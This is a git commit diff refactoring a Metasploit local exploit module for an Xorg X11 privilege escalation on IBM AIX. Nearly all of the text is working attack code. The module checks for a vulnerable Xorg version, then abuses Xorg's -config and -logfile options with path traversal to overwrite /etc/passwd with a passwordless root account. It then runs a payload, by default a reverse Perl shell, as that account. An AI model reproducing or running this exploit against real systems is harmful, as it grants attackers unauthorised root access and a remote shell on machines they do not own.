refactor version check, reduce verbosity
This commit is contained in:
parent
92063560eb
commit
5fde493add
|
@ -4,16 +4,14 @@
|
|||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = GoodRanking
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Xorg X11 Server Local Privilege Escalation',
|
||||
# TODO: Finish description
|
||||
'Description' => %q(
|
||||
This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
|
||||
|
||||
|
@ -22,8 +20,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
the ability to elevate privileges and run arbitrary code under root
|
||||
privileges.
|
||||
|
||||
This module has been tested with AIX 7.1, however it should also work with 6.1 and 7.2.
|
||||
Due to permission restrictions, this module does not use cron to launch the payload,
|
||||
This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
|
||||
Due to permission restrictions of the crontab in AIX, this module does not use cron,
|
||||
and instead overwrites /etc/passwd in order to create a new user with root privileges.
|
||||
All currently logged in users need to be included when /etc/passwd is overwritten,
|
||||
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
|
||||
|
@ -33,7 +31,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
),
|
||||
'Author' => [
|
||||
'Narendra Shinde', # Discovery and original FreeBSD exploit
|
||||
'Zack Flack <dzflack[at]gmail.com>' # Metasploit module
|
||||
'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Oct 25 2018',
|
||||
|
@ -48,13 +46,13 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'Arch' => [ ARCH_CMD ],
|
||||
'SessionTypes' => [ 'shell' ],
|
||||
'Payload' => {
|
||||
'Compat' => {
|
||||
'Compat' => {
|
||||
'PayloadType' => 'cmd',
|
||||
'RequiredCmd' => 'perl',
|
||||
}
|
||||
},
|
||||
'DefaultOptions' => {
|
||||
'Payload' => 'cmd/unix/reverse_perl'
|
||||
'Payload' => 'cmd/unix/reverse_perl'
|
||||
},
|
||||
'Targets' => [
|
||||
['IBM AIX Version 6.1', {}],
|
||||
|
@ -72,24 +70,19 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def check
|
||||
print_status('Running checks')
|
||||
|
||||
xorg_path = cmd_exec('command -v Xorg')
|
||||
unless xorg_path.include?('Xorg')
|
||||
print_error('Could not find Xorg executable')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
print_good("Xorg found at #{xorg_path}")
|
||||
|
||||
ksh93_path = cmd_exec('command -v ksh93')
|
||||
unless ksh93_path.include?('ksh')
|
||||
print_error('Could not find Ksh93 executable')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
print_good("Ksh93 found at #{ksh93_path}")
|
||||
|
||||
fileset_version_vulnerable = determine_version()
|
||||
unless fileset_version_vulnerable
|
||||
unless xorg_vulnerable?
|
||||
print_error('Xorg version is not vulnerable')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
@ -98,80 +91,83 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def exploit
|
||||
check_status = check
|
||||
status = check
|
||||
|
||||
if check_status == Exploit::CheckCode::Safe
|
||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable')
|
||||
if status == Exploit::CheckCode::Safe
|
||||
fail_with(Failure::NotVulnerable, '')
|
||||
end
|
||||
|
||||
unless writable?(datastore['WritableDir'])
|
||||
fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable")
|
||||
end
|
||||
|
||||
xorg_path = cmd_exec('command -v Xorg')
|
||||
ksh93_path = cmd_exec('command -v ksh93')
|
||||
|
||||
print_status('Opening /etc/passwd')
|
||||
passwd_array = read_file('/etc/passwd')
|
||||
passwd_array = passwd_array.split("\n")
|
||||
xorg_payload = generate_xorg_payload(xorg_path, ksh93_path)
|
||||
xorg_script_path = "#{datastore['WritableDir']}/wow.ksh"
|
||||
upload_and_chmodx(xorg_script_path, xorg_payload)
|
||||
|
||||
print_status('Retrieving currently logged in users')
|
||||
users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')
|
||||
users << "\n"
|
||||
users = users.split("\n")
|
||||
|
||||
print_status('Generating Xorg command')
|
||||
|
||||
unless users.empty?
|
||||
users_logged_in_passwd = ''
|
||||
users.each do |user|
|
||||
user << ':'
|
||||
passwd_array.each do |line|
|
||||
if line.index(user) == 0
|
||||
users_logged_in_passwd << '\n'
|
||||
users_logged_in_passwd << line
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# TODO: Systems where there has to be a password?? generate static password?
|
||||
blob = "-config $\'#{users_logged_in_passwd}\\nwow::0:0::/:/usr/bin/ksh\\n#\'"
|
||||
|
||||
script_path = "#{datastore['WritableDir']}/wow.ksh"
|
||||
# TODO: Has to be better way of doing a relative path for /etc/passwd?
|
||||
xorg_payload = %Q^#!#{ksh93_path}
|
||||
#{xorg_path} #{blob} -logfile ../../../../../../../../../etc/passwd :1 > /dev/null 2>&1
|
||||
^
|
||||
upload_and_chmodx(script_path, xorg_payload)
|
||||
|
||||
print_status("Backing up /etc/passwd to #{datastore['WritableDir']}/passwd.backup")
|
||||
cmd_exec("cp /etc/passwd #{datastore['WritableDir']}/passwd.backup")
|
||||
register_file_for_cleanup("#{datastore['WritableDir']}/passwd.backup")
|
||||
|
||||
print_status('Executing /tmp/wow.ksh')
|
||||
cmd_exec("#{script_path}");
|
||||
passwd_backup = "#{datastore['WritableDir']}/passwd.backup"
|
||||
print_status("Backing up /etc/passwd to #{passwd_backup}")
|
||||
cmd_exec("cp /etc/passwd #{passwd_backup}")
|
||||
register_file_for_cleanup("#{passwd_backup}")
|
||||
|
||||
print_status("Executing #{xorg_script_path}")
|
||||
cmd_exec("#{xorg_script_path}");
|
||||
print_status('Checking if we are root')
|
||||
if is_root?
|
||||
|
||||
root_payload = %Q^#!#{ksh93_path}
|
||||
if is_root?
|
||||
shell_payload = %Q^#!#{ksh93_path}
|
||||
#{payload.encoded}
|
||||
^
|
||||
payload_path = "#{datastore['WritableDir']}/wowee.ksh"
|
||||
upload_and_chmodx(payload_path, root_payload)
|
||||
shell_script_path = "#{datastore['WritableDir']}/wowee.ksh"
|
||||
upload_and_chmodx(shell_script_path, shell_payload)
|
||||
|
||||
# TODO: Maybe add support for non perl payloads?
|
||||
print_status('Executing payload...')
|
||||
cmd_exec("#{ksh93_path} -c \"echo #{payload_path} | su - wow &\"")
|
||||
print_status('Executing shell payload')
|
||||
cmd_exec("#{ksh93_path} -c \"echo #{shell_script_path} | su - wow &\"")
|
||||
|
||||
print_status('Cleaning up /etc/passwd. Add user for persistance')
|
||||
cmd_exec("su - wow -c \"cp /tmp/passwd.backup /etc/passwd\"")
|
||||
print_status('Restoring original /etc/passwd')
|
||||
cmd_exec("su - wow -c \"cp #{passwd_backup} /etc/passwd\"")
|
||||
else
|
||||
fail_with(Failure::PayloadFailed, '')
|
||||
end
|
||||
end
|
||||
|
||||
def determine_version()
|
||||
xorg_version = cmd_exec("lslpp -L | grep -i X11.base.rte | awk '{ print $2 }'")
|
||||
print_status("Xorg version is #{xorg_version}")
|
||||
xorg_semantic = Gem::Version.new(xorg_version)
|
||||
def generate_xorg_payload(xorg_path, ksh93_path)
|
||||
passwd_file = read_file('/etc/passwd')
|
||||
passwd_array = passwd_file.split("\n")
|
||||
|
||||
print_status('Retrieving currently logged in users')
|
||||
users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')
|
||||
users << "\n"
|
||||
users_array = users.split("\n")
|
||||
|
||||
logged_in_users = ''
|
||||
unless users_array.empty?
|
||||
users_array.each do |user|
|
||||
user << ':'
|
||||
passwd_array.each do |line|
|
||||
if line.index(user) == 0
|
||||
logged_in_users << '\n'
|
||||
logged_in_users << line
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
passwd_data = "$'#{logged_in_users}\\nwow::0:0::/:/usr/bin/ksh\\n#'"
|
||||
|
||||
# TODO: Has to be better way of doing a relative path for /etc/passwd?
|
||||
return %Q^#!#{ksh93_path}
|
||||
#{xorg_path} -config #{passwd_data} -logfile ../../../../../../../../../../../../etc/passwd :1 > /dev/null 2>&1
|
||||
^
|
||||
end
|
||||
|
||||
def xorg_vulnerable?
|
||||
version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk \'{ print $2 }\'')
|
||||
print_status("Xorg version is #{version}")
|
||||
semantic_version = Gem::Version.new(version)
|
||||
|
||||
vulnerable_versions = [
|
||||
['6.1.9.0', '6.1.9.100'],
|
||||
|
@ -184,8 +180,8 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
]
|
||||
|
||||
for version_pair in vulnerable_versions do
|
||||
if xorg_semantic >= Gem::Version.new(version_pair[0]) &&
|
||||
xorg_semantic <= Gem::Version.new(version_pair[1])
|
||||
if semantic_version >= Gem::Version.new(version_pair[0]) &&
|
||||
semantic_version <= Gem::Version.new(version_pair[1])
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
@ -194,13 +190,9 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
|
||||
def is_root?
|
||||
id_output = cmd_exec('su wow -c "id"')
|
||||
id_output = cmd_exec('su - wow -c "id"')
|
||||
|
||||
if id_output.include?("euid=0")
|
||||
print_good('Got root!')
|
||||
return true
|
||||
end
|
||||
if id_output.include?('uid=0')
|
||||
if id_output.include?('euid=0') || id_output.include?('uid=0')
|
||||
print_good('Got root!')
|
||||
return true
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue